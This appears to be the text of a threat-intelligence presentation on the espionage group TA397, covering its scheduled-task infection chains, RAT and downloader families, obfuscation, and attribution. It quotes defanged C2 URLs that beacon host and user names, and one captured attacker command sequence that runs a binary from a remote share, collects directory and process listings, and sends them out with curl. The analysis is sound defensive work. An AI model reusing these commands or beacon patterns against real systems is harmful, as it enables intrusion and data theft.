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Who are TA397?

TA397

India

Scheduled 
Task 

Structures

 C++ & .NET 
RATs

CHM files

Compromised 
Gov Accounts

Freemail

Let’s Encrypt

Government
Defense
Energy





Infection Chains



Scheduled Tasks

blucollinsoutien[.]com/jbc.php?fv=$env:COMPUTERNAME*$env:USERNAME 

hxxp://46.229.55[.]63/svch.php?li=%computername%..%username% 

hxxp://95.169.180[.]122/vbgf.php?mo=%computername%--%username% 

hxxp://inizdesignstudio[.]com/lk.php?xm=$env:computername*$env:username 

hxxp://woodstocktutors[.]com/jbc.php?fv=$env:COMPUTERNAME*$env:USERNAME 

hxxps://princecleanit[.]com/dprin.php?dr=%computername%;%username% 

hxxps://utizviewstation[.]com/dows.php?cb=$env:COMPUTERNAME*$env:USERNAME 

hxxps://www[.]headntale[.]com/lchr.php?ach=%computername:~0,15%_%username:~0,5% 

hxxps://www.mnemautoregsvc[.]com/GIZMO/flkr.php?sa=COMPUTERNAME**USERNAME 

jacknwoods[.]com/jacds.php?jin=%computername%_%username% 

utizviewstation[.]com/sdf.php?fv=$env:COMPUTERNAME*$env:USERNAME 

warsanservices[.]com/myupload.php?dnc=%username%_%computername%



Scheduled Tasks



Hands-on-keyboard



Hands-on-keyboard
HTTP/1.1 200 OK
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
content-type: image/jpeg
cache-control: no-cache
content-length: 246
date: Wed, 24 Sep 2025 07:13:28 GMT
server: LiteSpeed
 
cd C:\programdata
net use \\107.172.230[.]179\qaz
\\107.172.230[.]179\qaz\geminitz[.]exe
dir > jit[.]dpc
tasklist >> jit[.]dpc
curl -X POST -F "file=[@]jit[.]dpc"  https[:]//lightframecollections[.]com/uCloud[.]php?and=%computername%iii%username%
del jit[.]dpc



Timestamp analysis



Timestamp analysis



Timestamp analysis



Payload Arsenal



Arsenal Overview



Arsenal Overview - Early Years



Arsenal Overview - Mid Stage



Arsenal Overview - Recent Years



Shared TTPs



Shared TTPs - Information Gathering
ArtaDownloader (2016-2021) MuuyDownloader (2021-Present)

MiyaRAT (2024-Present)



Shared TTPs - Information Gathering
ArtaDownloader (2016-2021) MuuyDownloader (2021-Present)

MiyaRAT (2024-Present)



Shared TTPs - Information Gathering
ArtaDownloader (2016-2021) MuuyDownloader (2021-Present)

MiyaRAT (2024-Present)



Shared TTPs - Obfuscation (Char add/sub)
MuuyDownloader (2021) MiyaRAT (2024)

WmRAT (2022)
ORPCBackdoor (2022)



Shared TTPs - Obfuscation (XOR)
MuuyDownloader (2021) BDarkRAT (2019)

MiyaRAT (2025)



Shared TTPs - Obfuscation (AES encryption)

AlmondRAT (2022) BDarkRAT (2024)



Shared TTPs - Code Variations
MuuyDownloader (2021) MuuyDownloader (2022)

MuuyDownloader (2025)



Shared TTPs - Code Variations
MiyaRAT (2024) MiyaRAT (2024)

MiyaRAT (2025)



Deep Dive



Arsenal Deep Dive



BDarkRAT (2019 - Present)

● Given several names by the community, including SplinterRAT, TurtlePower 

(Likely due to varying .NET namespaces).

● Based on the open-source DarkAgentRAT.



BDarkRAT (2019 - Present)

● Continuous development:

a. Shifted from descriptive C2 command to numerical values in later 

variants (with extended functionality).



BDarkRAT (2019 - Present)

● Continuous development:

b. C2 address progressed from hex-encoded to AES-256-CBC encrypted 

format, but in recent samples reverted back to hex-encoding.



MuuyDownloader (2021 - Present)

● Also known as ZxxZ downloader. Successor to ArtraDownloader..

● Has been known to drop a simple keylogger, BDarkRAT and AlmondRAT.

● Uses simple character addition /subtraction or XOR for string encoding.



● Payload retrieval steps:

1. Gets the payload name from the C2 server.

2. Builds the payload path and appends the extension ".exe" to the 

payload filename

MuuyDownloader (2021 - Present)



MuuyDownloader (2021 - Present)

● Payload retrieval steps:

3. Downloads the payload 

with its first PE header 

byte (0x4D) missing.

4. Appends the missing 

PE header byte to the 

payload and writes it to 

disk.



MiyaRAT (2024 - Present)

● System information + version 

number are concatenated using 

a pipe character ("|") and sent to 

the C2 server.

● The C2 address is decoded using 

simple character subtraction.

● Recent variants employ 

single-byte XOR encryption for 

C2 communication.



MiyaRAT (2024 - Present)

● In the most recent variant (5.0) found by Proofpoint, the C2 command 

strings can be found in an obfuscated format..



ORPC Backdoor (2022)

● Implements basic C2 functionality, including file downloads from the C2 

server and shell command execution.

● Communicates with the C2 server using the RPC protocol



ORPC Backdoor (2022)

● C2 commands and other strings encoded using 

simple hex-encoding.

● Also used by "Mysterious Elephant"

(APT-K-47) in 2023.



Attribution

● TA397 is an espionage-focused threat actor that highly likely operates on 

behalf of an Indian intelligence organization

● Primarily target government and defense organizations in Asia and Europe, 

with a particular focus on entities with relations or interests in China, 

Pakistan, and other neighboring countries on the Indian subcontinent

● There is a clear indication that most infrastructure-related activity occurs 

during standard business hours in the IST timezone





Blog Posts, IOCs, YARA Rules

tinyurl.com/5aafwcxetinyurl.com/tpww2468


